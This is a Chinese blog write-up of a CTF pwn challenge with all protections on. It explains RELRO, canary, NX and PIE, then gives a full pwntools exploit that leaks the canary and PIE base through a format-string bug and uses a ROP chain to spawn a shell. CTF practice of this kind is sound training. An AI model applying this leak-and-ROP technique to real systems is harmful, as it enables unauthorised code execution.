首页 > 其他分享 >CTFpwn全保护简单介绍及一道保护全开题

CTFpwn全保护简单介绍及一道保护全开题

时间:2023-12-06 21:32:31浏览次数:32  
标签:adr 函数 地址 canary 保护 CTFpwn io 开题 main

今日份心脏骤停,噔噔咚!

CTFpwn全保护简单介绍及一道保护全开题_格式化字符串

每种保护介绍

Full RELRO

保护原理:其实就是不让你改写got表中的内容。

影响:不能劫持stack_chk_fail函数以绕过canary,不能劫持动态链接里面已经调用过的函数。(不懂libc快去翻我文章doge)

Canary

保护原理:在所有函数的栈的末尾(比如rbp-8)插入一个值,叫做canary,在退出函数时检查是否和原来写入的canary值一致,如果不一致就调用stack_chk_fail退出程序。

影响:让你栈溢出多了一个步骤(比如泄露canary的值,比如劫持stack_chk_fail函数。比如逐字节爆破)

NX

保护原理:让你栈上写入的东西不能被直接执行。

影响:让你不能在溢出之后直接用pwntools的一个工具叫做asm.shellcode就直接提权了,太扯了。逼着你用一些ROP或是SROP啊什么的取构造链。

PIE

保护原理:在程序加载时加上一个基址,而基址是随机的,我们在IDA里看只能看到偏移地址。(比如这样)

CTFpwn全保护简单介绍及一道保护全开题_保护全开_02

影响:和canary差不多,还是要泄露地址,多了一步,会麻烦点。

题目分析

CTFpwn全保护简单介绍及一道保护全开题_栈溢出_03

程序有/bin/sh字符串,应该是出题人的怜悯了。

bird函数

CTFpwn全保护简单介绍及一道保护全开题_格式化字符串_04

CTFpwn全保护简单介绍及一道保护全开题_栈溢出_05

bird函数不存在栈溢出,不过有一个格式化字符串漏洞(不懂的快去翻我上一篇文章捏)。

我们做得rbp+8肯定存着返回函数(这里是main中的一截)的地址,以及var_8就是canary的值。这一点是在汇编看出来的。

CTFpwn全保护简单介绍及一道保护全开题_保护全开_06

先是从fs:28h拿出一个字节放在[rbp + var_8]里面。尤其记住这里canary的值是从fs:28h取出的。

CTFpwn全保护简单介绍及一道保护全开题_CTFpwn_07

程序结束时用[rbp + var_8]的值和fs:28h的值对比,如果对不上就调用stack_chk_fail函数。

考虑到这题pie加canary都开了,大概率是要在这里利用格式化字符串漏洞泄露出canary以及main函数的地址.不急,再看看另一个函数。

search函数

CTFpwn全保护简单介绍及一道保护全开题_格式化字符串_08

CTFpwn全保护简单介绍及一道保护全开题_栈溢出_09

妥妥栈溢出,基本上第一次read就能结束战斗了。第二次read看似没意义,实则可以让我们在没有

pop rax ret的gadget情况下让rax为0x3b以调用execve函数。

一个小细节

刚才说让大伙注意一下canary是从fs:28h取出的,我们会发现search函数的canary和刚才的bird函数canary是一样的,经过我测试,从bird函数里泄露的canary确实和serach函数是一样的。

CTFpwn全保护简单介绍及一道保护全开题_格式化字符串_10

所以我们思路就比较清晰了,从bird函数泄露出bird的返回地址和canary的值,在search函数进行溢出然后ROP链构造,调用system函数,把/bin/sh的地址传入。

EXP

from pwn import * 
context( 
    terminal = ['tmux','splitw','-h'], 
    os = "linux", 
    arch = "amd64", 
    #arch = "i386", 
    log_level="debug" 
) 
# io = remote("1.container.jingsai.apicon.cn",32378)
io = process("./vuln") 
def debug(): 
    gdb.attach(io) 
    pause() 
debug() 
######################################################
payload1 = b'%13$p' + b'%11$p'
#用格式化泄露canary和main函数地址,这个可以看看我上一篇文章,讲了如何计算偏移量
io.sendafter(b'steal your pie.\n',payload1)
main_adr = int(io.recv(0xe),16)#14
canary = int(io.recv(0x12),16)#18
print(f'main_adr: {hex(main_adr)}')
print(f'canary: {hex(canary)}')
# pie and canary is done.
######################################################
base_adr = main_adr - 0x13D1
bin_adr = 0x2046 + base_adr
pop_rdx_rsi_rdi_syscall = 0x121B + base_adr
# adr is done,用泄露的地址算出基地址以及每个需要的gadget地址
######################################################
offset2 = (0x50-8)
offset3 = 0x3b
payload2 = cyclic(offset2) + p64(canary) 
payload2 += b'a'*8 + p64(pop_rdx_rsi_rdi_syscall)
payload2 += p64(0) + p64(0) + p64(bin_adr)
io.sendafter(b'But where is my binsh ?\n',payload2)
payload3 = cyclic(offset3)
#这个payload3用于把rbp+8后面的溢出ROP链安排好,ret is done
io.sendafter(b'Did u tell me where my binsh is ?\n',payload3)
# rax is done,发送刚好0x3b个字节,不会碰到canary的字节,同时还能让rax变成0x3
io.interactive()

人生第一道全开保护的题,嘿嘿。

标签:adr,函数,地址,canary,保护,CTFpwn,io,开题,main
From: https://blog.51cto.com/u_16356440/8710747

相关文章

  • Sentinel——系统规则(系统自适应保护)
    目录系统自适应保护系统规则系统自适应保护Sentinel系统自适应保护从整体维度对应用入口流量进行控制,结合应用的Load、总体平均RT、入口QPS和线程数等几个维度的监控指标,让系统的入口流量和系统的负载达到一个平衡,让系统尽可能跑在最大吞吐量的同时保证系统整体的稳定性。......
  • 技术分享丨 Prisma Cloud 增强云原生代码保护能力!
    现如今,企业业务向云计算转变已是主流,组织收到威胁、运营中断、威胁形势也持续升级,网络安全转型已变成当今企业的当务之急。Palo Alto PrismaCloud具有业界最广泛的安全性和合规性覆盖范围,它保护跨平台的云原生应用程序、数据、网络、计算、存储、用户和更高级别的PaaS+SaaS服务......
  • CTFpwn格式化字符串两种应用及2023ISCTF的fmt题解wp
    三个例子的引入目前我遇到的格式化字符串漏洞(formatstring,后文简称fmt)主要存在于printf函数,本文也就以printf举例。例一,标准格式的printf read(0,buf,33);printf("%s",buf);例二,占位符与变量 printf("%d%c%s",a,b,c);//%d%c%s会访问变量以输出整型,字符等。其中a,b,c为三......
  • 聊城商标注册为什么要多类全类保护
    聊城商标注册为什么要多类全类保护  恒标知产刘经理  一、为什么要全类多类注册保护? 商标全类保护是指申请人在办理商标注册时指定所有类别的商品及服务,使其商标在全部类别受到保护。有人认为在商标还不知名的情况下没有必要申请全类注册。但是,事前防御总比事后救济要好。商标......
  • CAN总线接口保护电路设计指南
    CAN总线的应用范围广,应用环境相当复杂,一些静电、浪涌等干扰很容易耦合到总线上,并直接作用于CAN总线接口。为了满足一些高等级EMC的要求,有必要添加额外的外围保护电路。 为什么需要保护电路一般的CAN收发器芯片ESD、浪涌防护等级较低,如SM1500隔离CAN收发器虽隔离耐压为3500VDC,......
  • CTfpwn攻防世界int_overflow对于strlen的利用以及汇编是神
    分析这题题目已经在暗示用int数据的overflow了,不过不急,先分析一下。保护基本没啥保护,也挺好,适合不用搞太多花里胡哨的泄露,只需理解这题想告诉你的知识。后门函数看到有一个whatisthis函数,正是我们要的catflag函数。main函数login函数main函数里需要的操作很简单,只需输入一个1就......
  • ISCTFpwn的ezpie题解
    目前接触的随机好像都与地址有关,而且还有一个特性也就是只是基址随机,只要有任意一个地址就可以知道其他所有具体地址。(libc和pie保护)这里将通过ezpie这道题介绍绕过pie的一种方式,泄露地址一获取全部地址的方法。本人还不太懂partiallywrite的原理,就不误人子弟了。这里我们看到v5......
  • 2023ISCTFpwn题目:stack题解
    这是我在这次比赛中遇到最有意思的一题,不仅让我看到了一种有意思的题型,而且让我开始看懂了pwndbg的调试界面。IDA里面是这样的,有直接可以提权的backdoor函数,有read函数,看似有点像ret2system。让我们分析一下这个函数的读入逻辑:首先让你输入一个size值,read会总共分size次读入一个字......
  • Sentinel 微服务保护
    Sentinel微服务保护​#Sentinel#​本文章为个人摘抄笔记,原文章来源于www.cnblogs.com/xiegongz...‍Sentinel是阿里巴巴开源的一款微服务流量控制组件。官网地址:https://sentinelguard.io/zh-cn/index.html雪崩问题与解决方式所谓的雪崩指的是:微服务之间相互调用,调用链......
  • class-dump 混淆加固、保护与优化原理
    ​ class-dump混淆加固、保护与优化原理进行逆向时,经常需要dump可执行文件的头文件,用以确定类信息和方法信息,为hook相关方法提供更加详细的数据.class-dump的主要用于检查存储在MachO文件的Objective-C中的运行时信息,为类,类别和协议生成声明信息,与tool-ov命令产生的信息相......